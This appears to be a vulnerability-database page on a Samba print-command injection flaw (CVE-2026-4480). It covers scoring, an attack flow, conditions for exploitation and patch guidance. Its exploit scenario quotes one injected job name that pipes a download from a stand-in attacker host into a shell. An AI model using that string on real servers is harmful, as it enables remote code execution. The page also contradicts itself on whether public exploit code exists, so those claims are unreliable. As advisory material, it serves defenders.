Skip to main content
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Samba host with printing enabled
  2. Delivery
    Connect to SMB service on TCP/445
  3. Exploit
    Submit print job with shell metacharacters in description
  4. Execution
    Samba expands %J into print command unescaped
  5. Persist
    Shell executes injected payload as smbd user
  6. Impact
    Establish foothold and pivot internally

Vulnerability Assessment

Weakness
CWE
CWE-78
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Sign in to read
Exploitation Conditions

The target must be running Samba with the printing subsystem enabled and a 'print command' configured that uses the '%J' substitution token (the default on many distributions when printing is active), and the attacker must be able to reach the SMB service (typically TCP/445) and submit a print job - no authentication is required per the CVSS vector (PR:N), though many real deployments restrict print queues to authenticated users which would raise the bar. Limiting factors captured by CVSS AC:H include the need for the host to actually have printing configured and exposed and for the configured print command to invoke a shell that interprets the injected metacharacters; hosts with 'load printers = no', no custom 'print command', or printing accessible only over loopback or trusted networks are not exploitable via this path.
Impact

Signals conflict and require weighing in context. CVSS 9.0 with vector AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H reflects unauthenticated network exploitation with total impact and scope change, but AC:H acknowledges non-trivial preconditions - notably that the target must have Samba printing configured and reachable. CISA SSVC scores Exploitation as 'none' and Automatable as 'no', while Technical Impact is 'total', which aligns with EPSS at just 0.08% (23rd percentile) and the absence of any KEV listing or public exploit code. The vulnerability is not in CISA KEV and no public exploit identified at time of analysis. Practical risk is therefore high for internet-exposed or large-tenant Samba print servers and low for hosts where the print service is disabled or firewalled; teams should not deprioritize on EPSS alone given the 'total' technical impact and trivial exploit construction once preconditions are met.
Exploit ScenarioDerived

An attacker reachable on TCP/445 connects to a Samba server with printing enabled and submits a print job whose job description contains shell metacharacters, for example a job named '; curl http://attacker/x | sh ;'. When Samba expands %J into the configured print command and invokes the shell, the injected payload executes as the smbd process user, giving the attacker a foothold from which to escalate or pivot. No POC is publicly identified and AC:H indicates the attacker must locate a host with printing configured and a reachable share, but exploit construction itself is trivial once those preconditions are met.
Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 08, 2026

Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via crafted print job descriptions. The flaw stems from unescaped expansion of the client-controlled '%J' substitution token into the configured 'print command', enabling shell metacharacter injection. No public exploit has been identified at time of analysis, and EPSS scores exploitation probability at only 0.08%, but CVSS 9.0 with scope change reflects high potential impact on any Samba host exposing print services.

RemediationAI

Apply the vendor-released patches for your distribution as the primary fix: Red Hat customers should install updates per RHSA-2026:22644 and RHSA-2026:22963, SUSE customers via SUSE-SU-2026:2071 through 2108, and Ubuntu users via USN-8306-1; exact fixed package versions are not enumerated in the supplied data and should be read from each advisory before deployment. If patching cannot be done immediately, disable the Samba printing subsystem by setting 'load printers = no', 'printing = bsd', and 'printcap name = /dev/null' in smb.conf and removing or commenting out any custom 'print command' lines that reference %J, which removes the vulnerable code path at the cost of losing SMB print sharing for clients. As a network-layer compensating control, restrict TCP/445 and TCP/139 to trusted management ranges via host or perimeter firewalls - this blocks remote exploitation but breaks SMB access for any client not in the allowlist. Avoid the partial workaround of sanitizing %J in a wrapper script, because correctly escaping all shell metacharacters in a custom 'print command' is error-prone and not a substitute for the upstream fix.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Sign in to check
Technical ContextAI · show details

Samba implements SMB/CIFS file and print sharing on Unix-like systems, including a printing subsystem that hands jobs off to system spoolers via an administrator-defined 'print command' (typically lpr or a custom script). Within that command template, Samba expands several '%' tokens - '%J' is replaced with the client-supplied job description string. The bug is a classic CWE-78 (OS Command Injection): Samba interpolates this attacker-controlled string into a shell command line without quoting or filtering shell metacharacters such as ;, |, &, $(), and backticks. When the resulting command is passed to /bin/sh, the injected fragment executes with the privileges of the smbd worker process. The affected CPE set is limited to Red Hat Enterprise Linux 6-10 and OpenShift Container Platform 4 entries in the provided data, but the root cause is in upstream Samba and tracked in Samba Bugzilla #16033, so any distribution shipping a vulnerable Samba build with printing enabled is structurally exposed.

Know when Red Hat Enterprise Linux 10 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources
Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 9.0 CRITICAL
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
SUSE 8.5 HIGH
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Red Hat 8.5 HIGH

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Severity Changed
Jun 03, 2026 - 09:22 NVD
HIGH CRITICAL
CVSS changed
Jun 03, 2026 - 09:22 NVD
8.5 (HIGH) 9.0 (CRITICAL)
CVE Published
May 26, 2026 - 13:56 nvd
CRITICAL 9.0

DescriptionCVE.org

A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the "print command" setting via the "%J" substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.

Executive ViewAI

Why It Matters

A critical remote code execution vulnerability in Samba's printing subsystem (CVE-2026-4480, CVSS 9.0) could allow attackers to execute arbitrary commands on affected print servers. While no active exploitation has been observed and estimated exploitation likelihood is low (0.1% EPSS), organizations relying on Samba for printing infrastructure face potential operational disruption and lateral movement risks if their print services are exposed to untrusted networks. Patching should be prioritized for any Samba systems accessible from external or untrusted sources.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 77% exploitable
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment POC (1) Vendor CIRCL VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

65
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +45
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS Command Injection CRITICAL

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_7:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_8:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_openshift_container_platform_4:*:*:*:*:*:*:*:*

More in Red Hat Enterprise Linux 10

View all
CVE-2026-18663 MEDIUM
5.9 Aug 12

Heap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash
CVE-2026-4631 CRITICAL POC
9.8 Apr 07

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the h
CVE-2026-101258 HIGH POC
7.8 Oct 06

Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript
CVE-2026-96889 HIGH POC
7.8 Sep 23

Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity
CVE-2026-4775 HIGH POC
7.8 Mar 24

A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to

CVE-2026-114406 MEDIUM POC
6.8 Oct 21

The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe
CVE-2026-18922 CRITICAL
9.8 Sep 07

Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo
CVE-2026-14544 CRITICAL
9.8 Jul 03

Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter

CVE-2026-76578 CRITICAL
9.8 Sep 07

Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a
CVE-2026-102560 CRITICAL
9.8 Sep 29

A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes
CVE-2026-5121 HIGH
7.5 Mar 30

Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe
CVE-2026-6732 HIGH
7.5 Apr 23

Denial of service in libxml2 allows a remote attacker to crash any application that uses the library to XSD-validate an

Same weakness CWE-78 – OS Command Injection

View all
CVE-2019-15107 CRITICAL POC
9.8
CVE-2024-51378 CRITICAL POC
9.8
CVE-2014-6271 CRITICAL POC
9.8
CVE-2018-11138 CRITICAL POC
9.8
CVE-2014-6278 HIGH POC
8.8
CVE-2020-9054 CRITICAL POC
9.8
CVE-2017-6334 HIGH POC
8.8
CVE-2024-50603 CRITICAL POC
10.0

Same technique RCE

View all
CVE-2021-44228 CRITICAL POC
10.0
CVE-2017-7269 CRITICAL POC
9.8
CVE-2022-47966 CRITICAL POC
9.8
CVE-2012-4681 CRITICAL POC
9.8
CVE-2023-3519 CRITICAL POC
9.8
CVE-2015-5119 CRITICAL POC
9.8
CVE-2016-4117 CRITICAL POC
9.8
CVE-2015-3113 CRITICAL POC
9.8

Vendor StatusVendor

SUSE

Severity: High
Product Status
Image SLES12-SP5-Azure-BYOS Image SLES12-SP5-Azure-Standard-On-Demand Image SLES12-SP5-EC2-BYOS Image SLES12-SP5-EC2-ECS-On-Demand Image SLES12-SP5-EC2-On-Demand Image SLES12-SP5-GCE-BYOS Image SLES12-SP5-GCE-On-Demand Affected
Image SLES15-SP7-HPC-Azure Affected
SUSE Enterprise Storage 7.1 Fixed
SUSE Linux Enterprise Desktop 15 SP7 SUSE Linux Enterprise High Performance Computing 15 SP7 SUSE Linux Enterprise Module for Basesystem 15 SP7 SUSE Linux Enterprise Server 15 SP7 SUSE Linux Enterprise Server for SAP Applications 15 SP7 Fixed
SUSE Linux Enterprise High Availability Extension 12 SP5 Fixed

References

Advisories & patches
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2026-4480 ADVISORY https://ubuntu.com/security/notices/USN-8306-1 ADVISORY https://vuldb.com/vuln/365655 ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:2071/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:2072/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:2073/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:2074/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:2076/ ADVISORY https://www.suse.com/support/update/SUSE-SU-2026:2108/ REF https://access.redhat.com/errata/RHSA-2026:22644 REF https://access.redhat.com/errata/RHSA-2026:22963 REF https://access.redhat.com/errata/RHSA-2026:25049 REF https://access.redhat.com/errata/RHSA-2026:25979 REF https://access.redhat.com/errata/RHSA-2026:28053 REF https://access.redhat.com/errata/RHSA-2026:28054 REF https://access.redhat.com/errata/RHSA-2026:28055 REF https://access.redhat.com/errata/RHSA-2026:28056 REF https://access.redhat.com/errata/RHSA-2026:28057 REF https://access.redhat.com/errata/RHSA-2026:28058 REF https://access.redhat.com/errata/RHSA-2026:28132 REF https://access.redhat.com/security/cve/CVE-2026-4480 REF https://bugzilla.redhat.com/show_bug.cgi?id=2452232 REF https://bugzilla.samba.org/show_bug.cgi?id=16033 REF https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-4480.json

Search Externally

GitHub PoC Exploit-DB PacketStorm Snyk Rapid7 Nuclei Templates Trickest PoC
Back

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy